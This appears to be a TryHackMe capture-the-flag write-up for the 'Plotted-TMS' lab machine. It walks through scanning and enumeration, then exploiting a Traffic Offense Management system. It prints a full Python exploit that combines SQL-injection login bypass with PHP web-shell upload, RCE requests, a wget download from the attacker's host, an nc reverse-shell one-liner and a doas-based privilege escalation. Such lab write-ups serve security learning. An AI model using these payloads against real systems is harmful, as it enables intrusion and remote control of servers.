Plotted-TMS
TryHackMe Link
Description
Everything here is plotted! Tip: Enumeration is key!
Scanning
- Nmap Report:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 | Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 09:29 EST
Nmap scan report for 10.10.72.232
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a36a9cb11260b272130984cc3873444f (RSA)
| 256 b93f8400f4d1fdc8e78d98033874a14d (ECDSA)
|_ 256 d08651606946b2e139439097a6af9693 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
445/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.45 seconds
|
Enumeration
In order to gain access to the system, I began by opening port 80 and was greeted with the Apache default page.

My next step was to try and enumerate hidden folders through the use of dirsearch.py. This led me to discover that the /admin, /shadow, and /passwd directories were available. However, this was a trap which I unfortunately fell for.
Afterwards, I attempted to use enum4linux to enumerate the so-called "SMB" protocol at port 445. It wasn't until later that I realized another http server was running on that port, which again was a trap that I fell for.
My next attempt involved enumerating hidden folders on 10.10.72.232:445, which led me to discover the /management/ folder that hosted a Traffic Offense Management system.

After conducting some online research, I found an exploit that could be allowed for Remote Code Execution (RCE). Also, I located the exploit code at searchsploit

Initial Access
I successfully uploaded a shell to the /uploads folder using the following code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72 | #!/usr/bin/env python2
import requests
import time
from bs4 import BeautifulSoup
print ("\nExample: http://example.com\n")
url = raw_input("Url: ")
payload_name = "evil.php"
payload_file = "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"
if url.startswith(('http://', 'https://')):
print "Check Url ...\n"
else:
print "\n[?] Check Adress\n"
url = "http://" + url
try:
response = requests.get(url)
except requests.ConnectionError as exception:
print("[-] Address not reachable")
sys.exit(1)
session = requests.session()
request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "'' OR 1=1-- '", "password": "'' OR 1=1-- '"}
bypass_user = session.post(request_url, data=post_data)
if bypass_user.text == '{"status":"success"}':
print ("[+] Bypass Login\n")
cookies = session.cookies.get_dict()
req = session.get(url + "/admin/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
userid = parser.find('input', {'name':'id'}).get("value")
firstname = parser.find('input', {'id':'firstname'}).get("value")
lastname = parser.find('input', {'id':'lastname'}).get("value")
username = parser.find('input', {'id':'username'}).get("value")
request_url = url + "/classes/Users.php?f=save"
headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryxGKa5dhQCRwOodsq", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
data = "------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ userid +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+ firstname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+ lastname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+ username +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+ payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n" + payload_file +"\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq--\r\n"
upload = session.post(request_url, headers=headers, cookies=cookies, data=data)
time.sleep(2)
if upload.text == "1":
print ("[+] Upload Shell\n")
time.sleep(2)
req = session.get(url + "/admin/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
find_shell = parser.find('img', {'id':'cimg'})
print ("[+] Exploit Done!\n")
while True:
cmd = raw_input("$ ")
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36'}
request = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
print request.text.replace("<pre>" ,"").replace("</pre>", "")
time.sleep(1)
elif upload.text == "2":
print ("[-] Try the manual method")
request_url = url + "/classes/Login.php?f=logout"
cookies = session.cookies.get_dict()
headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "sec-ch-ua-mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
session.get(request_url, headers=headers, cookies=cookies)
else:
print("[!]An unknown error")
else:
print ("[-] Failed to bypass login panel")
|
There were some glitch on the code, but the upload was successful. I quickly checked the browser and I could see

I proceeded to execute commands via cmd argument in order to retrieve the /etc/passwd content.
RCE
GET /management/uploads/1677425460_evil.php?cmd=/etc/passwd HTTP/1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36 | root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
plot_admin:x:1001:1001:,,,:/home/plot_admin:/bin/bash
|
The command revealed the names of the users plot_admin and ubuntu.
To further penetrate the system, I set out to get a stabilized reverse shell. I hosted a reverse shell from my side and accessed it through the cmd argument.
RCE
GET /management/uploads/1677425460_evil.php?cmd=wget+http%3a//10.17.3.217%3a8000/shell.php HTTP/1.1
GET /management/uploads/1677425460_evil.php?cmd=chmod+777+shell.php HTTP/1.1
Upon accessing http://10.10.72.232:445/management/uploads/shell.php,
I successfully gained a reverse shell for the www-data user.
Privilege Escalation
Gaining user access (plot_admin)
Next, I sent a linpeas script to the system and executed it and these were the following results:
- Sudo version 1.8.31
- CVE-2022-2588
- * * * * * plot_admin /var/www/scripts/backup.sh
- 127.0.0.1:3306
- 127.0.0.1:33060
- /swap.img
It revealed that there was a script running in a cron job every minute. I believed this to be the door for privilege escalation.
Something Seemed off
The backup.sh file was owned by plot_admin, while /var/www/scripts/ was owned by www-data (the current user).
This was a security risk as anyone could delete the content from the folder and recreate it. So, I took this advantage to give permissions to user.txt and tms_backups in the /home/plot_admin folder and accessed the first flag.

Gaining root access
From there, I escalated my privilege to plot_admin by overwriting the backup.sh with a reverse shell.
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.17.3.217 5432 >/tmp/f
Running linpeas.sh again, I found the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 | -rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
-rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 88464 Jul 14 2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su
-rwsr-xr-x 1 root root 85064 Jul 14 2021 /usr/bin/chfn
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 53040 Jul 14 2021 /usr/bin/chsh
-rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/bin/umount
-rwsr-xr-x 1 root root 39008 Feb 5 2021 /usr/bin/doas
-rwsr-xr-x 1 root root 44784 Jul 14 2021 /usr/bin/newgrp
-rwsr-xr-x 1 root root 19040 Jun 3 2021 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 130408 Mar 26 2021 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 473576 Jul 23 2021 /usr/lib/openssh/ssh-keysign
|

Definition
The doas command (short for "do as") is a linux utility that allows a user to execute a command with the privileges of another user, typically the root user.
Leveraging the openssl command alongside the doas command in gtfobins, I was able to read files and ultimately obtain the second flag.
